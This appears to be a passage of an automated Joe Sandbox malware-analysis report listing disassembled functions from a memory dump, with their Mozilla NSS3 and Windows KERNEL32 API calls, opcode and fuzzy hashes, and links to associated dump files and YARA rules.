Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

